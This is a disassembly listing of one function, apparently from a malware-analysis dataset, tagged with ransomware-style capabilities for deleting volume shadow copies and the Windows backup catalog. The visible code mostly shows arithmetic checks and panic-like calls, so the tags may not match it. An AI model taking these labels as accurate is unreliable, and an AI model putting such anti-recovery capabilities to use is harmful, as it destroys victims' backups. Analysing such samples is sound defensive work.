Function at 0x443560
Capabilities:
Delete volume shadow copies
Delete windows backup catalog

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x443b52
sub esp, 0x48
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x24], 0
xor eax, eax
mov ecx, 0x1e
mov edx, 0xb3a
mov ebx, 0x4b57ce31
jmp 0x4435cd
dec ecx
test ecx, ecx
jl 0x443671
mov dword [esp + 0x34], ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], eax
lea ebp, [ecx - 0x20]
mov esi, ebp
xchg ebp, ebx
neg ebx
xchg ebp, ebx
cmp ebp, 0x20
sbb edi, edi
cmp esi, 0x20
sbb eax, eax
mov ecx, esi
mov ebx, 0x3b9aca00
shl ebx, cl
mov ecx, ebp
mov ebp, 0x3b9aca00
shr ebp, cl
and ebp, edi
and eax, ebx
or ebp, eax
cmp edx, ebp
sete al
mov ecx, dword [esp + 0x34]
cmp ecx, 0x20
sbb ebx, ebx
mov esi, 0x3b9aca00
shl esi, cl
and esi, ebx
mov ebx, dword [esp + 0x1c]
cmp ebx, esi
xchg edi, ebx
setae bl
xchg edi, ebx
cmp edx, ebp
setg dl
and edi, eax
or edx, edi
test dl, dl
je 0x443664
sub ebx, esi
mov edx, dword [esp + 0x20]
sbb edx, ebp
cmp ecx, 0x20
sbb eax, eax
mov ebp, 1
shl ebp, cl
and eax, ebp
mov ebp, dword [esp + 0x14]
or eax, ebp
jmp 0x4435cc
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
jmp 0x4435cc
test edx, edx
setg cl
cmp ebx, 0x3b9aca00
xchg ebp, ebx
setae bl
xchg ebp, ebx
test edx, edx
sete dl
and edx, ebp
or edx, ecx
test dl, dl
je 0x44369f
mov dword [esp + 0x30], 0
mov eax, 0x7fffffff
jmp 0x4436a3
mov dword [esp + 0x30], ebx
cmp eax, 0x3039
jne 0x443b3b
cmp dword [esp + 0x30], 0xd431
jne 0x443b3b
mov dword [esp + 0x18], 0
mov dword [esp + 0x18], 1
lea eax, [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 2
call fcn.00401c30
movzx eax, byte [esp + 0xc]
test al, al
je 0x443b25
cmp dword [esp + 0x18], 2
jne 0x443b0f
mov dword [esp + 0x18], 4
lea eax, [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], 5
mov dword [esp + 8], 6
call fcn.00401c30
movzx eax, byte [esp + 0xc]
test al, al
jne 0x443af9
cmp dword [esp + 0x18], 4
jne 0x443ae3
mov dword [esp + 0x18], 0xffffffff
lea eax, [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp + 8], 0xfffffffe
call fcn.00401c30
movzx eax, byte [esp + 0xc]
test al, al
je 0x443acd
cmp dword [esp + 0x18], 0xfffffffe
jne 0x443ab7
mov dword [esp + 0x24], 0
mov dword [esp + 0x24], 0x1010101
lea eax, [esp + 0x25]
mov dword [esp], eax
mov byte [esp + 4], 0xf0
call fcn.00401ea0
cmp byte [esp + 0x24], 1
jne 0x443aa1
cmp byte [esp + 0x25], 0xf1
jne 0x443aa1
cmp byte [esp + 0x26], 1
jne 0x443aa1
cmp byte [esp + 0x27], 1
jne 0x443aa1
mov dword [esp + 0x24], 0
mov dword [esp + 0x24], 0xffffffff
lea eax, [esp + 0x25]
mov dword [esp], eax
mov byte [esp + 4], 1
call fcn.00401eb0
cmp byte [esp + 0x24], 0xff
jne 0x443a8b
cmp byte [esp + 0x25], 1
jne 0x443a8b
cmp byte [esp + 0x26], 0xff
jne 0x443a8b
cmp byte [esp + 0x27], 0xff
jne 0x443a8b
mov dword [esp + 0x40], 0xffffffff
mov dword [esp + 0x44], 0xffffffff
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0xffffffff
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0xffffffff
call fcn.00449ba0
movzx eax, byte [esp + 0x10]
test al, al
jne 0x443a75
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
call fcn.00449ba0
movzx eax, byte [esp + 0x10]
test al, al
jne 0x443a5f
mov dword [esp + 0x38], 0xfffffffe
mov dword [esp + 0x3c], 0xffffffff
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0xfffffffe
call fcn.00449ba0
movzx eax, byte [esp + 0x10]
test al, al
jne 0x443a49
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov ebx, dword [esp + 0x3c]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
call fcn.00449ba0
movzx eax, byte [esp + 0x10]
test al, al
jne 0x443a33
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp], 0xffffffff
mov dword [esp + 4], 0xffffffff
call fcn.00449b10
movzx eax, byte [esp + 8]
test al, al
jne 0x443a1d
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
mov dword [esp + 4], eax
call fcn.00449b10
movzx eax, byte [esp + 8]
test al, al
jne 0x443a07
mov dword [esp + 0x28], 0xfffffffe
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
mov dword [esp + 4], 0xfffffffe
call fcn.00449b10
movzx eax, byte [esp + 8]
test al, al
jne 0x4439f1
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00449b10
movzx eax, byte [esp + 8]
test al, al
jne 0x4439db
call fcn.00443210
xor eax, eax
jmp 0x443984
inc eax
cmp eax, 0x20
sbb edx, edx
mov ecx, eax
mov ebx, 1
shl ebx, cl
and ebx, edx
cmp ebx, 0x1000
jl 0x443983
jne 0x4439c5
call fcn.0045f390
movzx eax, byte [esp]
test al, al
je 0x4439af
add esp, 0x48
ret
lea eax, [0x54c911]
mov dword [esp], eax
mov dword [esp + 4], 0x16
call fcn.00433a00
lea eax, [0x54e752]
mov dword [esp], eax
mov dword [esp + 4], 0x1c
call fcn.00433a00
lea eax, [0x549756]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00433a00
lea eax, [0x54974b]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00433a00
lea eax, [0x549740]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00433a00
lea eax, [0x5492cc]
mov dword [esp], eax
mov dword [esp + 4], 0xa
call fcn.00433a00
lea eax, [0x549777]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00433a00
lea eax, [0x54976c]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00433a00
lea eax, [0x549761]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00433a00
lea eax, [0x5492d6]
mov dword [esp], eax
mov dword [esp + 4], 0xa
call fcn.00433a00
lea eax, [0x549290]
mov dword [esp], eax
mov dword [esp + 4], 0xa
call fcn.00433a00
lea eax, [0x548f09]
mov dword [esp], eax
mov dword [esp + 4], 9
call fcn.00433a00
lea eax, [0x548212]
mov dword [esp], eax
mov dword [esp + 4], 4
call fcn.00433a00
lea eax, [0x54820e]
mov dword [esp], eax
mov dword [esp + 4], 4
call fcn.00433a00
lea eax, [0x54820a]
mov dword [esp], eax
mov dword [esp + 4], 4
call fcn.00433a00
lea eax, [0x548206]
mov dword [esp], eax
mov dword [esp + 4], 4
call fcn.00433a00
lea eax, [0x548202]
mov dword [esp], eax
mov dword [esp + 4], 4
call fcn.00433a00
lea eax, [0x5481fe]
mov dword [esp], eax
mov dword [esp + 4], 4
call fcn.00433a00
lea eax, [0x5496dd]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00433a00
nop
call fcn.0045e000
jmp fcn.00443560